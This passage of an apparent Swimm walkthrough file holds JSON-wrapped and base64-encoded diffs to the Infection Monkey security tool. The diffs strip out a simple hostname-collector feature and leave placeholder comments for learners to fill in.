"JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDOSUyMCUyQjElMkM5JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGltcG9ydCUyMGxvZ2dpbmclMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExJTJDJTIyYiUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZnJvbSUyMG1vbmtleV9pc2xhbmQuY2MubW9kZWxzLm1vbmtleSUyMGltcG9ydCUyME1vbmtleSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTMlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjMlMjBTV0lNTUVSJTNBJTIwVGhpcyUyMHdpbGwlMjBiZSUyMHVzZWZ1bCUyMCUzQSklMjBtb25rZXlfaXNsYW5kLmNjLm1vZGVscy5tb25rZXkuTW9ua2V5JTIwaGFzJTIwdGhlJTIwdXNlZnVsJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMyUyMCU1QyUyMmdldF9zaW5nbGVfbW9ua2V5X2J5X2d1aWQlNUMlMjIlMjBhbmQlMjAlNUMlMjJzZXRfaG9zdG5hbWUlNUMlMjIlMjBtZXRob2RzLiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTQlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E0JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBsb2dnZXIlMjAlM0QlMjBsb2dnaW5nLmdldExvZ2dlcihfX25hbWVfXyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTJDJTIyYiUyMiUzQTclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyZGVmJTIwcHJvY2Vzc19ob3N0bmFtZV90ZWxlbWV0cnkoY29sbGVjdG9yX3Jlc3VsdHMlMkMlMjBtb25rZXlfZ3VpZCklM0ElMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyME1vbmtleS5nZXRfc2luZ2xlX21vbmtleV9ieV9ndWlkKG1vbmtleV9ndWlkKS5zZXRfaG9zdG5hbWUoY29sbGVjdG9yX3Jlc3VsdHMlNUIlNUMlMjJob3N0bmFtZSU1QyUyMiU1RCklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIzJTIwU1dJTU1FUiUzQSUyMFByb2Nlc3NpbmclMjBmdW5jdGlvbiUyMGdvZXMlMjBoZXJlLiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTklN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTklN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E5JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\nindex e2de4519..8764e29d 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -1,9 +1,9 @@", + " import logging", + " ", + "-from monkey_island.cc.models.monkey import Monkey", + "+# SWIMMER: This will be useful :) monkey_island.cc.models.monkey.Monkey has the useful", + "+# \"get_single_monkey_by_guid\" and \"set_hostname\" methods", + " ", + " logger = logging.getLogger(__name__)", + " ", + " ", + "-def process_hostname_telemetry(collector_results, monkey_guid):", + "+# SWIMMER: Processing function goes here.", + "- Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results[\"hostname\"])" + ] + } ] }, "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": { - "index": [ - "639a392c..7aa6d3a6", - "100644" - ], - "fileA": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", - "fileB": "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", - "status": "MODIFIED", - "numLineDeletions": 4, - "numLineAdditions": 0, - "hunkContainers": [ - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0zJTJDMTQlMjAlMkIzJTJDMTElMjAlNDAlNDAlMjBpbXBvcnQlMjB0eXBpbmclMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMlMjBpbXBvcnQlMjAoQVdTX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBIT1NUTkFNRV9DT0xMRUNUT1IlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E2JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTJDJTIyYiUyMiUzQTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmF3cyUyMGltcG9ydCUyMCU1QyU1QyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHByb2Nlc3NfYXdzX3RlbGVtZXRyeSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklMkMlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS5wcm9jZXNzaW5nLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMuZW52aXJvbm1lbnQlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCUyQyUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMSUyQyUyMmIlMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmhvc3RuYW1lJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwcHJvY2Vzc19ob3N0bmFtZV90ZWxlbWV0cnklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCUyQyUyMmIlMjIlM0ExMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE1JTJDJTIyYiUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYlMkMlMjJiJTIyJTNBMTMlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0EzJTJDJTIybGluZXNDb3VudCUyMiUzQTE0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTMlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTElN0QlN0QlN0QlN0Q=", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xOSUyQzclMjAlMkIxNiUyQzYlMjAlNDAlNDAlMjBsb2dnZXIlMjAlM0QlMjBsb2dnaW5nLmdldExvZ2dlcihfX25hbWVfXyklMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTklMkMlMjJiJTIyJTNBMTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTNBJTIwJTVCcHJvY2Vzc19hd3NfdGVsZW1ldHJ5JTVEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjAlMkMlMjJiJTIyJTNBMTclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlM0ElMjAlNUJwcm9jZXNzX2Vudmlyb25tZW50X3RlbGVtZXRyeSU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIxJTJDJTIyYiUyMiUzQTE4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTNBJTIwJTVCdGVzdF9hbnRpdmlydXNfZXhpc3RlbmNlJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjMlMkMlMjJiJTIyJTNBMTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlN0QlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyNCUyQyUyMmIlMjIlM0EyMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTI1JTJDJTIyYiUyMiUzQTIxJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMTklMkMlMjJsaW5lc0NvdW50JTIyJTNBNyU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExNiUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\nindex 1d71c89c..edb1aefa 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "hunks": [ + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -2,11 +2,10 @@", + " import typing", + " ", + " from common.common_consts.system_info_collectors_names import (", + "- AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR)", + "+ AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, PROCESS_LIST_COLLECTOR, SCOUTSUITE_COLLECTOR)", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\", + " process_environment_telemetry", + "-from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.scoutsuite import \\", + " process_scout_suite_telemetry", + " from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import check_antivirus_existence" + ] + }, + { + "swimmHunkMetadata": {}, + "hunkDiffLines": [ + "@@ -16,7 +15,6 @@", + " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", + " AWS_COLLECTOR: [process_aws_telemetry],", + " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", + "- HOSTNAME_COLLECTOR: [process_hostname_telemetry],", + " PROCESS_LIST_COLLECTOR: [check_antivirus_existence],", + " SCOUTSUITE_COLLECTOR: [process_scout_suite_telemetry]", + " }" + ] + } ] } }, - "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTIwYiUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzLnB5JTBBaW5kZXglMjAxNzVhMDU0ZS4uM2I0NzhkYzklMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnN5c3RlbV9pbmZvX2NvbGxlY3RvcnNfbmFtZXMucHklMEElNDAlNDAlMjAtMSUyQzUlMjAlMkIxJTJDNSUyMCU0MCU0MCUwQSUyMEFXU19DT0xMRUNUT1IlMjAlM0QlMjAlMjJBd3NDb2xsZWN0b3IlMjIlMEEtSE9TVE5BTUVfQ09MTEVDVE9SJTIwJTNEJTIwJTIySG9zdG5hbWVDb2xsZWN0b3IlMjIlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwQ29sbGVjdG9yJTIwbmFtZSUyMGdvZXMlMjBoZXJlLiUwQSUyMEVOVklST05NRU5UX0NPTExFQ1RPUiUyMCUzRCUyMCUyMkVudmlyb25tZW50Q29sbGVjdG9yJTIyJTBBJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiUyMCUzRCUyMCUyMlByb2Nlc3NMaXN0Q29sbGVjdG9yJTIyJTBBJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTIwJTNEJTIwJTIyTWltaWthdHpDb2xsZWN0b3IlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBaW5kZXglMjBhZTk1NjA4MS4uNGRjNjcwMWElMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnN5c3RlbV9pbmZvJTJGY29sbGVjdG9ycyUyRmhvc3RuYW1lX2NvbGxlY3Rvci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGc3lzdGVtX2luZm8lMkZjb2xsZWN0b3JzJTJGaG9zdG5hbWVfY29sbGVjdG9yLnB5JTBBJTQwJTQwJTIwLTElMkMxNiUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwaW1wb3J0JTIwbG9nZ2luZyUwQS1pbXBvcnQlMjBzb2NrZXQlMEEtJTBBLWZyb20lMjBjb21tb24uZGF0YS5zeXN0ZW1faW5mb19jb2xsZWN0b3JzX25hbWVzJTIwaW1wb3J0JTIwSE9TVE5BTUVfQ09MTEVDVE9SJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnN5c3RlbV9pbmZvLnN5c3RlbV9pbmZvX2NvbGxlY3RvciUyMGltcG9ydCUyMCU1QyUwQS0lMjAlMjAlMjAlMjBTeXN0ZW1JbmZvQ29sbGVjdG9yJTBBJTIwJTBBJTIwbG9nZ2VyJTIwJTNEJTIwbG9nZ2luZy5nZXRMb2dnZXIoX19uYW1lX18pJTBBJTIwJTBBLSUwQS1jbGFzcyUyMEhvc3RuYW1lQ29sbGVjdG9yKFN5c3RlbUluZm9Db2xsZWN0b3IpJTNBJTBBLSUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKCkuX19pbml0X18obmFtZSUzREhPU1ROQU1FX0NPTExFQ1RPUiklMEEtJTBBLSUyMCUyMCUyMCUyMGRlZiUyMGNvbGxlY3Qoc2VsZiklMjAtJTNFJTIwZGljdCUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjByZXR1cm4lMjAlN0IlMjJob3N0bmFtZSUyMiUzQSUyMHNvY2tldC5nZXRmcWRuKCklN0QlMEElMkIlMjMlMjBTV0lNTUVSJTNBJTIwVGhlJTIwY29sbGVjdG9yJTIwY2xhc3MlMjBnb2VzJTIwaGVyZS4lMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBaW5kZXglMjA1ZjExM2Y0YS4uNzA0M2UyMjclMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZzeXN0ZW1faW5mb19jb2xsZWN0b3JfY2xhc3Nlcy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnN5c3RlbV9pbmZvX2NvbGxlY3Rvcl9jbGFzc2VzLnB5JTBBJTQwJTQwJTIwLTElMkM3JTIwJTJCMSUyQzYlMjAlNDAlNDAlMEElMjBmcm9tJTIwY29tbW9uLmRhdGEuc3lzdGVtX2luZm9fY29sbGVjdG9yc19uYW1lcyUyMGltcG9ydCUyMChBV1NfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwQVpVUkVfQ1JFRF9DT0xMRUNUT1IlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwSE9TVE5BTUVfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwTUlNSUtBVFpfQ09MTEVDVE9SJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUFJPQ0VTU19MSVNUX0NPTExFQ1RPUiklMEElMjAlMEElNDAlNDAlMjAtMzclMkMxNSUyMCUyQjM2JTJDNyUyMCU0MCU0MCUyMFNZ